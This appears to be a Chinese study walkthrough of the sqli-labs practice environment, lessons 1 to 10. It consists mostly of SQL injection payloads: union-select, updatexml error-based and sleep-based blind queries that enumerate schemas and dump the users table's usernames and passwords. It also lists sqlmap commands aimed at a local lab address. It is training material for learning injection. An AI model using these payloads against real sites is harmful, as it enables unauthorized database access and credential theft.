sqlilabs
page-1
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
1、
?id=-1'order by 4--+
2、
?id=-1'union select 1,2,3--+
3、
?id=-1'union select 1,2,database()--+
4、
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
5、
查字段名 users
?id=-1' union select 1,2,group_concat(username) from security.users--+
查询密码
?id=-1' union select 1,2,group_concat(password) from security.users --+
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
1、
?id=1 and 1=2 order by 4--+
2、
?id=1 and 1=2 union select 1,2,3--+
3、
?id=1 and 1=2 union select 1,2,database()--+
4、
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5、
查用户名
?id=1 and 1=2 union select 1,2,group_concat(username) from security.users--+
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
1、
?id=-1') order by 4--+
2、
?id=-1') union select 1,2,3--+
3、
?id=-1')union select 1,2,database()--+
4、
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5、
?id=-1') union select 1,2,group_concat(username) from security.users--+?
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
1、
?id=-1") order by 4--+
2、
?id=-1") union select 1,2,3--+
3、
?id=-1")union select 1,2,database()--+
4、
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5、
?id=-1") union select 1,2,group_concat(username) from security.users--+?
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
1、
#获取当前数据库名称 ?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
2、
#获取当前数据库所有表名称 ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
3、
#获取当前数据库user表所有列名称 5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
4、
#获取当前数据库user表所有username和password的值 ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s ?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
注入报错可参考这篇博客:updatexml()报错注入_仰望星空world的博客-CSDN博客_updatexml
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
1、
1 ?id=1"
从报错可以判断出本关的闭合是双引号
2、
#获取当前数据库名称 ?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
3、
#获取当前数据库所有表名称 ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
4、
#获取当前数据库user表所有列名称 ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
5、
#获取当前数据库user表所有username和password的值 ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
这个直接用脚本爆就行
脚本参考网上的
当然也可以用看源码发现需要用‘))闭合,使用burp爆库
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
1、首先输入正确的url
?id=1
能够知道本关的查询结果不回显
2、
?id=1'
发现页面没有任何响应
3、
?id=-1
发现还是一样
4、
效果和上图一样。这关可以用bool盲注。
同样,这关我们手工注入找闭合可以用burpsuite爆破。
接下来的爆库,我在上一关代码的基础上做了修改
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的
1、
?id=1' and if(1=1,sleep(2),0)-- s
页面会过2s再刷新成功
2、
?id=1' and if(1=2,sleep(2),0)-- s
页面立刻刷新成功
3、
本关可以用基于时间的盲注
这关用sqlmap来试试,启动sqlmap并输入如下语句
.1
#获取所有数据库名称 sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --dbs
.2
#获取当前数据库 sqlmap "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --current-db
.3
#获取数据库security所有表名称 sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --tables -D security
.4
#获取数据库security的users表的所有列名 sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
.5
#获取数据库security的users表的username和password列的值 sqlmap -u "http://192.168.2.13/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
用sqlmap来注入,payload和上一关差不多,但是要多加点参数(--technique T --level 3)
时间盲注真的很慢!!!能用别的就别用这个!!